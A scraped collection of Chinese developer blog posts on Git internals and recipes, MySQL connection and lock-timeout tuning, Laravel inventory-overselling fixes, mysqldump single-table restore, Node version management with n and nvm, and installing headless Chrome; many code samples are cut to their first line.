info | 文件夹 | 包含一个全局性排除文件 |
logs | 文件夹 | 保存日志信息; git reflog 展示的内容 |
objects | 文件夹 | 目录存储所有数据内容, 这就是实际意义上的 git数据库, 存数据的地方; 并且存了所有的历史记录 |
refs | 文件夹 | 目录存储指向数据(分支、远程仓库和标签等)的提交对象的指针 |
config | 文件 | 包含当前项目特有的配置选项 |
description | 文件 | 用来显示对仓库的描述信息,文件仅供 GitWeb 程序使用,我们无需关心 |
HEAD | 文件 | 它文件通常是一个符号引用(symbolic reference),指向目前所在的分支。某些罕见的情况下,HEAD 文件可能会包含一个 git 对象的 SHA-1 值 |
index | 文件夹 | 文件保存暂存区信息 |
FETCH_HEAD | 文件 | git fetch; 这将更新git remote 中所有的远程repo 所包含分支的最新commit-id, 将其记录到.git/FETCH_HEAD文件中 |
packed-refs | 文件 | 对refs打包后(git gc)的存储文件, 与底层命令git pack-refs |
所有的数据对象均存储于项目下面的 .git/objects
目录中,那么.git/objects
文件夹里面究竟存了些什么?
版本库中的每一个文件,不论是图片、源文件还是二进制文件,都被映射为一个 Blob 对象。除了 Blob 对象,在 Git 的文件系统中还存储着另外三种数据对象:
Blob 是英文 Binary large object 的缩写,一个 Blob 对象就是一段二进制数据。
1 | $ echo -n "print 'hello git'" > index.md |
查看数据对象的类型:
1 | git cat-file -t 42a3276feefd4f52d48aa831db535d6e81b6e0fb |
查看数据对象的内容:
1 | git cat-file -p 42a3276feefd4f52d48aa831db535d6e81b6e0fb |
为了把文件映射为 Blob 对象,Git 做了下面这些工作:
Git 使用一种与 UNIX 文件系统相似的方式来管理内容,Blob 相当于磁盘文件,Tree 则相当于文件夹。Tree 中既可以包含 Blob,也可以包含其他 Tree。
向版本库中提交当前的修改:
1 | git commit -m "first commit" |
会发现 .git/objects
目录下面多出了两个对象:
1 | find .git/objects -type f |
这两个对象的类型分别是 commit 和 tree:
1 | git cat-file -t 93292574c965d7ecd25f933fdadb646dce75cc24 |
查看 93292574c965d7ecd25f933fdadb646dce75cc24 这个对象的内容:
1 | git cat-file -p 93292574c965d7ecd25f933fdadb646dce75cc24 |
可见这颗树就相当于项目的根目录。
一个 Commit 对象代表了一次提交对象,它包含了下面这些信息:
其中,这颗树也被称作项目快照(snapshort),通过项目快照,我们可以把项目还原成项目在该次提交时的样子。一般来说,commit 对象总有一个父级 commit 对象,一个又一个 commit 对象通过这种方式链接起来,就构成了一条提交历史。第一次提交的 commit 对象没有父级 commit 对象,分支合并所产生的新的 commit 对象可以有两个或者多个父级 commit 对象。
例如,3031cddff73840bd5e7822c9b7f3b538e7e160bb 这个 Commit 对象的内容为:
1 | git cat-file -p 3031cddff73840bd5e7822c9b7f3b538e7e160bb |
此时版本库中,Commit、Tree、Blob 三者之间的关系如下图所示:
Tag 指向一次特征提交。
在 Git 中有两种 tag,第一种 tag 并不在 .git/objects
目录下面创建新的对象,只是在 .git/refs/tags
目录中新建一个文件,文件的内容就是所指向的 commit 对象的 hash 值:
1 | $ git tag v0.1 |
另一种 tag 则会在 .git/objects
目录下面创建对象,这种 tag 被称作注解标签(annotated tag):
1 | $ git tag -a v0.2 -m "Version 0.2" |
查看数据对象类型及内容:
1 | $ git cat-file -t cd542f02e1b07b78a11534c68b1d334365effc65 |
在 Git 的底层,有四种数据结构,它们分别是:
Git 把版本库中的每一个文件都转换为一个 blob 对象进行存储,而用 tree 对象来表达文件的层次结构。
Commit 对象代表了一次提交操作,它包含了当前的项目快照以及提交人和提交日期等诸多信息。所有的 commit 对象串接起来,组成一个有向无环图。从版本控制的角度看,这些 commit 对象构成了一个完整的版本提交记录;从项目开发的角度看,它们描述了项目是如何从无到有一点一滴地构建起来的。
Tag 对象指向一个 commit 对象,我们可以通过 tag 对象快速访问到项目的某一次特征提交。
这个时候其实可以只针对部分域名进行代理设置,而其他域名则不用走代理。
针对所有 https 请求生效:
1 | git config --global https.proxy https://127.0.0.1:1080 |
取消设置代理:
1 | git config --global --unset https.proxy |
只针对 github.com
生效
1 | git config --global http.https://github.com.proxy socks5://127.0.0.1:1080 |
取消设置代理
1 | git config --global --unset http.https://github.com.proxy |
需要修改 ~/.ssh/config
文件,如果没有,新建一个。
macOS 下,同样仅为 github.com
设置代理:
1 | Host github.com |
如果是在 Windows 下,设置代理命令会有所不同:
1 | Host github.com |
SQLSTATE[HY000] [1040] Too many connections
的异常。通常是以下两种原因之一造成的:
Mysql 的 max_connections 是限制允许客户端同时连接的最大连接数。
1 | mysql> show variables like '%max_connections%'; |
Mysql 无论如何都会保留一个用于管理员(SUPER)登陆的连接,用于管理员连接数据库进行维护操作,所以即便当前连接数已经达到了 max_connections
,管理员仍可以连接,因此 Mysql 的实际最大可连接数为 max_connections+1
。
增加 max_connections
参数的值,不会占用太多系统资源。系统资源(CPU、内存)的占用主要取决于查询的密度、效率等。
Mysql 的 Max_used_connections 是自服务器启动以来同时使用的最大连接数。
1 | mysql> show global status like 'Max_used_connections'; |
通过查看这个值,我们就能知道是否需要调整 max_connections
。
对于 Mysql 最大连接数值的设置范围比较理想的是:服务器响应的最大连接数值占服务器上限连接数值的比例值在10%以上,如果在10%以下,说明最大连接上限值设置过高,反之如果服务器响应的最大连接数值与上限连接数值很接近,则说明最大连接上限值设置过低。
如果业务量并不大,没有高并发等场景,大部分情况下都是第一种原因,这也是最简单的解决方案,直接修改最大连接数量。
如果是因为访问量过高,这个时候就需要考虑增加从服务器或分散读压力了(不在本文谈论范围)。
通常修改最大连接数量有两种方式:
1 | mysql> set global max_connections = 1000; |
使用这种方式需要注意的是,更新之后的最大连接数量,只在 Mysql 当前服务进程有效,也就是说一旦重启 Mysql,又会恢复到初始状态。因为 Mysql 启动后的初始化工作是从其配置文件中读取数据的,而这种方式没有对其配置文件做更改。
找到 my.ini
或 my.cnf
配置文件
1 | max_connections=1000 |
重启 Mysql 即可。
原文链接:使用laravel解决库存超出的几个方案
库存超出是一个常见的幂等问题,下面介绍一下解决超卖问题常见的一些方案
准备一张实验表:
1 | +-------+------------------+------+-----+---------+----------------+ |
使用 go
模拟并发:
1 | package main |
1 |
|
查看库存:
库存超出。
1 | public function test() |
库存正常。
1 | public function test() |
库存正常。
1 | public function test() |
库存正常。
1 | public function test() |
库存正常。
优化乐观锁,修改库存的 sql 修改为:
1 | \DB::update('UPDATE `tb` SET num = num -1 WHERE id = ? AND num-1 >= 0', [$id]); |
以上几种方案都可以有效解决库存超出的问题,应用时可以根据实际具体场景进行选择,优先考虑顺序为:
Redis 存储 > Redis 原子锁 > Mysql 悲观锁/乐观锁
原文链接:MySql Lock wait timeout exceeded该如何处理?
Mysql造成锁的情况有很多,下面我们就列举一些情况:
DML
操作没有 Commit,再执行删除操作就会锁表。DDL
,继而阻塞所有同表的后续操作。但是要区分的是 Lock wait timeout exceeded
与 Dead Lock
是不一样。
Lock wait timeout exceeded
:后提交的事务等待前面处理的事务释放锁,但是在等待的时候超过了mysql的锁等待时间,就会引发这个异常。Dead Lock
:两个事务互相等待对方释放相同资源的锁,从而造成的死循环,就会引发这个异常。还有一个要注意的是 innodb_lock_wait_timeout
与 lock_wait_timeout
也是不一样的。
innodb_lock_wait_timeout
:innodb 的 DML
操作的行级锁的等待时间lock_wait_timeout
:数据结构 DDL
操作的锁的等待时间如何查看 innodb_lock_wait_timeout
的具体值?
1 | SHOW VARIABLES LIKE 'innodb_lock_wait_timeout' |
参数修改的范围有Session和Global,并且支持动态修改,可以有两种方法修改:
方法一:
通过下面语句修改
1 | set innodb_lock_wait_timeout=100; |
注意 global 的修改对当前线程是不生效的,只有建立新的连接才生效。
方法二:
修改参数文件 /etc/my.cnf
:
1 | innodb_lock_wait_timeout = 50 |
innodb_lock_wait_timeout
指的是事务等待获取资源等待的最长时间,超过这个时间还未分配到资源则会返回应用失败; 当锁等待超过设置时间的时候,就会报如下的错误;ERROR 1205 (HY000): Lock wait timeout exceeded; try restarting transaction
。
其参数的时间单位是秒,最小可设置为1s(一般不会设置得这么小),最大可设置1073741824秒,默认安装时这个值是50s(默认参数设置)
Lock wait timeout exceeded
并长时间无反应show full processlist
; kill掉出现问题的进程。 ps.有的时候通过processlist是看不出哪里有锁等待的,当两个事务都在commit阶段是无法体现在processlist上select * from innodb_trx
; 查看有是哪些事务占据了表资源。 ps.通过这个办法就需要对innodb有一些了解才好处理说起来很简单找到它杀掉它就搞定了,但是实际上并没有想象的这么简单,当问题出现要分析问题的原因,通过原因定位业务代码可能某些地方实现的有问题,从而来避免今后遇到同样的问题。
Mysql
的 InnoDB
存储引擎是支持事务的,事务开启后没有被主动Commit。导致该资源被长期占用,其他事务在抢占该资源时,因上一个事务的锁而导致抢占失败!因此出现 Lock wait timeout exceeded
下面几张表是innodb的事务和锁的信息表,理解这些表就能很好的定位问题。
innodb_trx 表:
1 | desc information_schema.innodb_trx; |
innodb_locks 表:
1 | desc information_schema.innodb_locks; |
innodb_lock_waits 表:
1 | desc information_schema.innodb_lock_waits; |
查看 innodb_lock_waits 表
1 | SELECT * FROM innodb_lock_waits; |
innodb_locks 表和 innodb_lock_waits 表联表查看:
1 | SELECT * FROM innodb_locks WHERE lock_trx_id IN (SELECT blocking_trx_id FROM innodb_lock_waits); |
innodb_locks 表 JOIN innodb_lock_waits 表联表查看:
1 | SELECT innodb_locks.* FROM innodb_locks JOIN innodb_lock_waits ON (innodb_locks.lock_trx_id = innodb_lock_waits.blocking_trx_id); |
查询 innodb_trx 表:
1 | SELECT trx_id, trx_requested_lock_id, trx_mysql_thread_id, trx_query FROM innodb_trx WHERE trx_state = 'LOCK WAIT'; |
trx_mysql_thread_id 即 kill 掉事务线程 ID
1 | SHOW ENGINE INNODB STATUS ; |
从上述方法中得到了相关信息,我们可以得到发生锁等待的线程 ID,然后将其 KILL 掉。 KILL 掉发生锁等待的线程。
1 | kill ID; |
前几天生成环境,有个需求需要跑个脚本处理一下。
脚本所做的事情是遍历查询出来的数据集,逐个调用某段逻辑。
结果等了半天,发现什么都没有修改成功。
后面查看日志才发现是因为某次抛出异常时,事务没有释放, 而后提交的事务又需要等待前面处理的事务释放锁,但是等待的时间超过了 Mysql innodb_lock_wait_timeout
所设置的超时时间,所以引发了 Lock wait timeout exceeded
异常,事务自动回滚了,也就出现了数据都没有变化的现象。
1 | mysqldump -uroot -p mysql -F -R -E --triggers --databases test_dump | gzip >dbtest_$(date +%F).sql.gz; |
1 | ll |
查看当前数据库中所有表:
1 | mysql> show tables; |
查看需要还原的表的数据:
1 | mysql> select * from tb2; |
删除目标表:
1 | mysql> drop table tb2; |
1 | gunzip -c dbtest_2022-04-09.sql.gz | sed -e '/./{H;$!d;}' -e 'x;/CREATE TABLE `tb2`/!d;q'; |
1 | gunzip -c dbtest_2022-04-09.sql.gz | sed -e '/./{H;$!d;}' -e 'x;/CREATE TABLE `tb2`/!d;q' |
确认了数据之后无误之后,就开始恢复了。
1 | gunzip -c dbtest_2022-04-09.sql.gz | sed -e '/./{H;$!d;}' -e 'x;/CREATE TABLE `tb2`/!d;q' | mysql -uroot -p test_dump |
1 | gunzip -c dbtest_2022-04-09.sql.gz | grep --ignore-case 'insert into `tb2`'| mysql -uroot -p test_dump |
查看目标表,数据已经恢复:
1 | mysql> select * from tb2; |
]]>注意:实际使用时以上命令中的部分文件名或表名需要替换成你自己的。
n 是Node的一个模块,作者是TJ Holowaychuk(鼎鼎大名的[Express]框架作者),就像它的名字一样,它的理念就是简单。
1 | sudo npm install -g n |
1 | n x.x.x |
1 | n x.x.x |
1 | n latest |
1 | n stable |
1 | n rm x.x.x |
1 | n user x.x.x some.js |
nvm 全称Node Version Manager。
nvm 项目提供了一个 install.sh 脚本帮助用户快速安装,可以使用 cURL 或 Wget 等工具下载。
1 | curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.1/install.sh | bash |
或者
1 | wget -qO- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.1/install.sh | bash |
运行上面命令中的任意一条,就会下载并运行 v0.39.1 版本的 nvm,默认安装位置为 /.nvm,并会在一些配置文件中添加如下代码片段,例如 ~/.bash_profile、/.zshrc、~/.profile 或 ~/.bashrc。
1 | export NVM_DIR="([ -z "{XDG_CONFIG_HOME-}" ] && printf %s "{HOME}/.nvm" || printf %s "{XDG_CONFIG_HOME}/nvm")" |
下载、编译和安装 node 的最新版本:
1 | nvm install node # "node" 是最新版本的别名 |
也可以指定安装版本,例如 v14.17.4
1 | nvm install 14.17.4 |
如果不知道哪些版本可以正常使用,可以先列出所有可用版本:
1 | nvm ls-remote |
使用指定版本:
1 | nvm use 14.17.4 |
需要注意的是这个只是临时使用该版本,当环境发生变化之后,node 又会恢复之前的版本。
查看当前所使用的 node 版本:
1 | nvm current |
1 | nvm ls |
1 | nvm run x.x.x some.js |
如何使得某个版本变为默认版本:
1 | nvm alias default v14.17.4 |
获取对应版本的安装路径:
1 | nvm which 14.17.4 |
需要注意的是,npm 的版本切换,没有具体的命令,只要控制 node 版本就行,npm 版本会随之变化。
]]>原文链接:https://mp.weixin.qq.com/s/oY6D5E3h5K36aMJQ6AZlVQ
git 对于大家应该都不太陌生,熟练使用 git 已经成为程序员的一项基本技能,尽管在工作中有诸如 Sourcetree
这样牛X的客户端工具,使得合并代码变的很方便。但找工作面试和一些需彰显个人实力的场景,仍然需要我们掌握足够多的 git 命令。
本文整理了一些日常使用 git 合代码的经典操作场景,基本覆盖了工作中的需求。
如果你用 git commit -a
提交了一次变化(changes),而你又不确定到底这次提交了哪些内容。你就可以用下面的命令显示当前HEAD
上的最近一次的提交(commit):
1 | (main)$ git show |
或者
1 | $ git log -n1 -p |
如果你的提交信息(commit message
)写错了且这次提交(commit)还没有推(push), 你可以通过下面的方法来修改提交信息(commit message
):
1 | $ git commit --amend --only |
这会打开你的默认编辑器, 在这里你可以编辑信息. 另一方面, 你也可以用一条命令一次完成:
1 | $ git commit --amend --only -m 'xxxxxxx' |
如果你已经推(push)了这次提交(commit), 你可以修改这次提交(commit)然后强推(force push
), 但是不推荐这么做。
如果这只是单个提交(commit),修改它:
1 | $ git commit --amend --author "New Authorname <authoremail@mydomain.com>" |
如果你需要修改所有历史, 参考 ‘git filter-branch’的指南页.
通过下面的方法,从一个提交(commit)里移除一个文件:
1 | $ git checkout HEAD^ myfile |
这将非常有用,当你有一个开放的补丁(open patch
),你往上面提交了一个不必要的文件,你需要强推(force push
)去更新这个远程补丁。
如果你需要删除推了的提交(pushed commits
),你可以使用下面的方法。可是,这会不可逆的改变你的历史,也会搞乱那些已经从该仓库拉取(pulled)了的人的历史。简而言之,如果你不是很确定,千万不要这么做。
1 | $ git reset HEAD^ --hard |
如果你还没有推到远程, 把Git重置(reset)到你最后一次提交前的状态就可以了(同时保存暂存的变化):
1 | (my-branch*)$ git reset --soft HEAD@{1} |
这只能在没有推送之前有用. 如果你已经推了, 唯一安全能做的是 git revert SHAofBadCommit
, 那会创建一个新的提交(commit)用于撤消前一个提交的所有变化(changes);或者, 如果你推的这个分支是rebase-safe的 (例如:其它开发者不会从这个分支拉), 只需要使用 git push -f
。
同样的警告:不到万不得已的时候不要这么做.
1 | $ git rebase --onto SHA1_OF_BAD_COMMIT^ SHA1_OF_BAD_COMMIT |
或者做一个 交互式rebase 删除那些你想要删除的提交(commit)里所对应的行。
1 | To https://github.com/yourusername/repo.git |
注意, rebasing(见下面)和修正(amending)会用一个新的提交(commit)代替旧的, 所以如果之前你已经往远程仓库上推过一次修正前的提交(commit),那你现在就必须强推(force push
) (-f
)。注意 – 总是 确保你指明一个分支!
1 | (my-branch)$ git push origin mybranch -f |
一般来说, 要避免强推. 最好是创建和推(push)一个新的提交(commit),而不是强推一个修正后的提交。后者会使那些与该分支或该分支的子分支工作的开发者,在源历史中产生冲突。
如果你意外的做了 git reset --hard
, 你通常能找回你的提交(commit), 因为Git对每件事都会有日志,且都会保存几天。
1 | (main)$ git reflog |
你将会看到一个你过去提交(commit)的列表, 和一个重置的提交。选择你想要回到的提交(commit)的SHA,再重置一次:
1 | (main)$ git reset --hard SHA1234 |
这样就完成了。
1 | (my-branch*)$ git commit --amend |
一般来说, 如果你想暂存一个文件的一部分, 你可这样做:
1 | $ git add --patch filename.x |
-p
简写。这会打开交互模式, 你将能够用 s
选项来分隔提交(commit);然而, 如果这个文件是新的, 会没有这个选择, 添加一个新文件时, 这样做:
1 | $ git add -N filename.x |
然后, 你需要用 e
选项来手动选择需要添加的行,执行 git diff --cached
将会显示哪些行暂存了哪些行只是保存在本地了。
git add
会把整个文件加入到一个提交. git add -p
允许交互式的选择你想要提交的部分.
多数情况下,你应该将所有的内容变为未暂存,然后再选择你想要的内容进行commit。但假定你就是想要这么做,这里你可以创建一个临时的commit来保存你已暂存的内容,然后暂存你的未暂存的内容并进行stash。然后reset最后一个commit将原本暂存的内容变为未暂存,最后stash pop回来。
1 | $ git commit -m "WIP" |
注意1: 这里使用pop
仅仅是因为想尽可能保持幂等。注意2: 假如你不加上--index
你会把暂存的文件标记为为存储。
1 | $ git checkout -b my-branch |
1 | $ git stash |
如果你只是想重置源(origin)和你本地(local)之间的一些提交(commit),你可以:
1 | # one commit |
重置某个特殊的文件, 你可以用文件名做为参数:
1 | $ git reset filename |
如果你想丢弃工作拷贝中的一部分内容,而不是全部。
签出(checkout)不需要的内容,保留需要的。
1 | $ git checkout -p |
另外一个方法是使用 stash
, Stash所有要保留下的内容, 重置工作拷贝, 重新应用保留的部分。
1 | $ git stash -p |
或者, stash 你不需要的部分, 然后stash drop。
1 | $ git stash -p |
这是另外一种使用 git reflog
情况,找到在这次错误拉(pull) 之前HEAD的指向。
1 | (main)$ git reflog |
重置分支到你所需的提交(desired commit):
1 | $ git reset --hard c5bc55a |
完成。
先确认你没有推(push)你的内容到远程。
git status
会显示你领先(ahead)源(origin)多少个提交:
1 | (my-branch)$ git status |
一种方法是:
1 | (main)$ git reset --hard origin/my-branch |
在main下创建一个新分支,不切换到新分支,仍在main下:
1 | (main)$ git branch my-branch |
把main分支重置到前一个提交:
1 | (main)$ git reset --hard HEAD^ |
HEAD^
是 HEAD^1
的简写,你可以通过指定要设置的HEAD
来进一步重置。
或者, 如果你不想使用 HEAD^
, 找到你想重置到的提交(commit)的hash(git log
能够完成), 然后重置到这个hash。使用git push
同步内容到远程。
例如, main分支想重置到的提交的hash为a13b85e
:
1 | (main)$ git reset --hard a13b85e |
签出(checkout)刚才新建的分支继续工作:
1 | (main)$ git checkout my-branch |
假设你正在做一个原型方案(原文为working spike (see note)), 有成百的内容,每个都工作得很好。现在, 你提交到了一个分支,保存工作内容:
1 | (solution)$ git add -A && git commit -m "Adding all changes from this spike into one big commit." |
当你想要把它放到一个分支里 (可能是feature
, 或者 develop
), 你关心是保持整个文件的完整,你想要一个大的提交分隔成比较小。
假设你有:
solution
, 拥有原型方案, 领先 develop
分支。develop
, 在这里你应用原型方案的一些内容。我去可以通过把内容拿到你的分支里,来解决这个问题:
1 | (develop)$ git checkout solution -- file1.txt |
这会把这个文件内容从分支 solution
拿到分支 develop
里来:
1 | # On branch develop |
然后, 正常提交。
Note: Spike solutions are made to analyze or solve the problem. These solutions are used for estimation and discarded once everyone gets clear visualization of the problem.
假设你有一个main
分支, 执行git log
, 你看到你做过两次提交:
1 | (main)$ git log |
让我们用提交hash(commit hash)标记bug (e3851e8
for #21, 5ea5173
for #14).
首先, 我们把main
分支重置到正确的提交(a13b85e
):
1 | (main)$ git reset --hard a13b85e |
现在, 我们对 bug #21
创建一个新的分支:
1 | (main)$ git checkout -b 21 |
接着, 我们用_cherry-pick_
把对bug #21
的提交放入当前分支。这意味着我们将应用(apply)这个提交(commit),仅仅这一个提交(commit),直接在HEAD上面。
1 | (21)$ git cherry-pick e3851e8 |
这时候, 这里可能会产生冲突, 参见交互式 rebasing 章 冲突节 解决冲突.
再者, 我们为bug #14 创建一个新的分支, 也基于main
分支
1 | (21)$ git checkout main |
最后, 为 bug #14 执行 cherry-pick
:
1 | (14)$ git cherry-pick 5ea5173 |
一旦你在github 上面合并(merge)了一个pull request
, 你就可以删除你fork里被合并的分支。如果你不准备继续在这个分支里工作, 删除这个分支的本地拷贝会更干净,使你不会陷入工作分支和一堆陈旧分支的混乱之中。
1 | $ git fetch -p |
如果你定期推送到远程, 多数情况下应该是安全的,但有些时候还是可能删除了还没有推到远程的分支。让我们先创建一个分支和一个新的文件:
1 | (main)$ git checkout -b my-branch |
添加文件并做一次提交
1 | (my-branch)$ git add . |
现在我们切回到主(main)分支,‘不小心的’删除my-branch
分支
1 | (my-branch)$ git checkout main |
在这时候你应该想起了reflog
, 一个升级版的日志,它存储了仓库(repo)里面所有动作的历史。
1 | (main)$ git reflog |
正如你所见,我们有一个来自删除分支的提交hash(commit hash),接下来看看是否能恢复删除了的分支。
1 | (main)$ git checkout -b my-branch-help |
看! 我们把删除的文件找回来了。Git的 reflog
在rebasing出错的时候也是同样有用的。
删除一个远程分支:
1 | (main)$ git push origin --delete my-branch |
你也可以:
1 | (main)$ git push origin :my-branch |
删除一个本地分支:
1 | (main)$ git branch -D my-branch |
首先, 从远程拉取(fetch) 所有分支:
1 | (main)$ git fetch --all |
假设你想要从远程的daves
分支签出到本地的daves
1 | (main)$ git checkout --track origin/daves |
(--track
是 git checkout -b [branch] [remotename]/[branch]
的简写)
这样就得到了一个daves
分支的本地拷贝, 任何推过(pushed)的更新,远程都能看到.
首先, 从远程拉取(fetch) 所有分支:
1 | $ git fetch --all |
将远程分支 release
与本地不存在的分支设置跟踪:
1 | $ git branch --track release remotes/origin/release |
如果分支已经存在了,则会设置失败。
将远程分支 release
与本地分支 release
设置跟踪:
1 | $ git branch --set-upstream-to=origin/release release |
从某个标签(tag)检出一个新的分支:
1 | $ git checkout -b [branch] [tag] |
你可以合并(merge)或rebase了一个错误的分支, 或者完成不了一个进行中的rebase/merge。Git 在进行危险操作的时候会把原始的HEAD保存在一个叫ORIG_HEAD的变量里, 所以要把分支恢复到rebase/merge前的状态是很容易的。
1 | (my-branch)$ git reset --hard ORIG_HEAD |
不幸的是,如果你想把这些变化(changes)反应到远程分支上,你就必须得强推(force push
)。是因你快进(Fast forward
)了提交,改变了Git历史, 远程分支不会接受变化(changes),除非强推(force push)。
这就是许多人使用 merge 工作流, 而不是 rebasing 工作流的主要原因之一, 开发者的强推(force push)会使大的团队陷入麻烦。使用时需要注意,一种安全使用 rebase 的方法是,不要把你的变化(changes)反映到远程分支上, 而是按下面的做:
1 | (main)$ git checkout my-branch |
假设你的工作分支将会做对于 main
的pull-request。一般情况下你不关心提交(commit)的时间戳,只想组合 所有 提交(commit) 到一个单独的里面, 然后重置(reset)重提交(recommit)。确保主(main)分支是最新的和你的变化都已经提交了, 然后:
1 | (my-branch)$ git reset --soft main |
如果你想要更多的控制, 想要保留时间戳, 你需要做交互式rebase (interactive rebase):
1 | (my-branch)$ git rebase -i main |
如果没有相对的其它分支, 你将不得不相对自己的HEAD
进行 rebase。例如:你想组合最近的两次提交(commit), 你将相对于HEAD~2
进行rebase, 组合最近3次提交(commit), 相对于HEAD~3
, 等等。
1 | (main)$ git rebase -i HEAD~2 |
在你执行了交互式 rebase的命令(interactive rebase command)后, 你将在你的编辑器里看到类似下面的内容:
1 | pick a9c8a1d Some refactoring |
所有以 #
开头的行都是注释, 不会影响 rebase.
然后,你可以用任何上面命令列表的命令替换 pick
, 你也可以通过删除对应的行来删除一个提交(commit)。
例如, 如果你想 单独保留最旧(first)的提交(commit),组合所有剩下的到第二个里面, 你就应该编辑第二个提交(commit)后面的每个提交(commit) 前的单词为 f
:
1 | pick a9c8a1d Some refactoring |
如果你想组合这些提交(commit) 并重命名这个提交(commit), 你应该在第二个提交(commit)旁边添加一个r
,或者更简单的用s
替代 f
:
1 | pick a9c8a1d Some refactoring |
你可以在接下来弹出的文本提示框里重命名提交(commit)。
1 | Newer, awesomer features |
如果成功了, 你应该看到类似下面的内容:
1 | (main)$ Successfully rebased and updated refs/heads/main. |
--no-commit
执行合并(merge)但不自动提交, 给用户在做提交前检查和修改的机会。no-ff
会为特性分支(feature branch)的存在过留下证据, 保持项目历史一致。
1 | (main)$ git merge --no-ff --no-commit my-branch |
1 | (main)$ git merge --squash my-branch |
有时候,在将数据推向上游之前,你有几个正在进行的工作提交(commit)。这时候不希望把已经推(push)过的组合进来,因为其他人可能已经有提交(commit)引用它们了。
1 | (main)$ git rebase -i @{u} |
这会产生一次交互式的rebase(interactive rebase), 只会列出没有推(push)的提交(commit), 在这个列表时进行reorder/fix/squash 都是安全的。
检查一个分支上的所有提交(commit)是否都已经合并(merge)到了其它分支, 你应该在这些分支的head(或任何 commits)之间做一次diff:
1 | (main)$ git log --graph --left-right --cherry-pick --oneline HEAD...feature/120-on-scroll |
这会告诉你在一个分支里有而另一个分支没有的所有提交(commit), 和分支之间不共享的提交(commit)的列表。另一个做法可以是:
1 | (main)$ git log main ^feature/120-on-scroll --no-merges |
如果你看到的是这样:
1 | noop |
这意味着你rebase的分支和当前分支在同一个提交(commit)上, 或者 领先(ahead) 当前分支。你可以尝试:
HEAD~2
或者更早如果你不能成功的完成rebase, 你可能必须要解决冲突。
首先执行 git status
找出哪些文件有冲突:
1 | (my-branch)$ git status |
在这个例子里面, README.md
有冲突。打开这个文件找到类似下面的内容:
1 | <<<<<<< HEAD |
你需要解决新提交的代码(示例里, 从中间==
线到new-commit
的地方)与HEAD
之间不一样的地方.
有时候这些合并非常复杂,你应该使用可视化的差异编辑器(visual diff editor):
1 | (main*)$ git mergetool -t opendiff |
在你解决完所有冲突和测试过后, git add
变化了的(changed)文件, 然后用git rebase --continue
继续rebase。
1 | (my-branch)$ git add README.md |
如果在解决完所有的冲突过后,得到了与提交前一样的结果, 可以执行git rebase --skip
。
任何时候你想结束整个rebase 过程,回来rebase前的分支状态, 你可以做:
1 | (my-branch)$ git rebase --abort |
暂存你工作目录下的所有改动
1 | $ git stash |
你可以使用-u
来排除一些文件
1 | $ git stash -u |
假设你只想暂存某一个文件
1 | $ git stash push working-directory-path/filename.ext |
假设你想暂存多个文件
1 | $ git stash push working-directory-path/filename1.ext working-directory-path/filename2.ext |
这样你可以在list
时看到它
1 | $ git stash save <message> |
或
1 | $ git stash push -m <message> |
首先你可以查看你的stash
记录
1 | $ git stash list |
然后你可以apply
某个stash
1 | $ git stash apply "stash@{n}" |
此处, ‘n’是stash
在栈中的位置,最上层的stash
会是0
除此之外,也可以使用时间标记(假如你能记得的话)。
1 | $ git stash apply "stash@{2.hours.ago}" |
你需要手动create一个stash commit
, 然后使用git stash store
。
1 | $ git stash create |
1 | $ git clone --recursive git://github.com/foo/bar.git |
如果已经克隆了:
1 | $ git submodule update --init --recursive |
1 | $ git tag -d <tag_name> |
如果你想恢复一个已删除标签(tag), 可以按照下面的步骤: 首先, 需要找到无法访问的标签(unreachable tag):
1 | $ git fsck --unreachable | grep tag |
记下这个标签(tag)的hash,然后用Git的 update-ref
1 | $ git update-ref refs/tags/<tag_name> <hash> |
这时你的标签(tag)应该已经恢复了。
如果某人在 GitHub 上给你发了一个pull request
, 但是然后他删除了他自己的原始 fork, 你将没法克隆他们的提交(commit)或使用 git am
。在这种情况下, 最好手动的查看他们的提交(commit),并把它们拷贝到一个本地新分支,然后做提交。
做完提交后, 再修改作者,参见变更作者。然后, 应用变化, 再发起一个新的pull request
。
1 | (main)$ git mv --force myfile MyFile |
1 | (main)$ git rm --cached log.txt |
在 OS X 和 Linux 下, 你的 Git的配置文件储存在 ~/.gitconfig
。我在[alias]
部分添加了一些快捷别名(和一些我容易拼写错误的),如下:
1 | [alias] |
你可能有一个仓库需要授权,这时你可以缓存用户名和密码,而不用每次推/拉(push/pull)的时候都输入,Credential helper能帮你。
1 | $ git config --global credential.helper cache |
你把事情搞砸了:你 重置(reset)
了一些东西, 或者你合并了错误的分支, 亦或你强推了后找不到你自己的提交(commit)了。有些时候, 你一直都做得很好, 但你想回到以前的某个状态。
这就是 git reflog
的目的, reflog
记录对分支顶端(the tip of a branch)的任何改变, 即使那个顶端没有被任何分支或标签引用。基本上, 每次HEAD的改变, 一条新的记录就会增加到reflog
。遗憾的是,这只对本地分支起作用,且它只跟踪动作 (例如,不会跟踪一个没有被记录的文件的任何改变)。
1 | (main)$ git reflog |
上面的reflog展示了从main分支签出(checkout)到2.2 分支,然后再签回。那里,还有一个硬重置(hard reset)到一个较旧的提交。最新的动作出现在最上面以 HEAD@{0}
标识.
如果事实证明你不小心回移(move back)了提交(commit), reflog 会包含你不小心回移前main上指向的提交(0254ea7)。
1 | $ git reset --hard 0254ea7 |
然后使用git reset
就可以把main改回到之前的commit,这提供了一个在历史被意外更改情况下的安全网。
通常使用 PHP 抓取网页数据时,最常见的两种方式就是 CURL
和 file_get_contents
。这样确实可以抓取到数据,但是无法等待等待页面上的 JS
加载完成之后才进行数据抓取。
于是便有了使用 PhantomJS,SlimerJS 这类解决方案。
今天要介绍的并不是上面两位,而是 Headless Chrome。
Headless Chrome 是 Chrome 浏览器的无界面形态,可以在不打开浏览器的前提下,使用所有 Chrome 支持的特性运行你的程序。
相比于现代浏览器,Headless Chrome 更加方便测试 Web 应用,获得网站的截图,做爬虫抓取信息等。
在 Mac 上,Chrome 59 以后的版本均搭载了 Headless Chrome,所以只要保证 Google Chrome 版本不要低于 59 即可。
1 | /Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --version |
或者直接在 Chrome 中输入:chrome://version
,进行查看。
Windows 用户找一下 Chrome 的安装路径,通常是:C:\Program Files (x86)\Google\Chrome\Application\chrome
Linxu 服务器则使用 google-chrome
(需要提前安装)
下载 Chrome 最新的rpm
1 | wget https://dl.google.com/linux/direct/google-chrome-stable_current_x86_64.rpm |
安装 Chrome
1 | sudo yum install ./google-chrome-stable_current_*.rpm |
查看当前版本
1 | google-chrome -version |
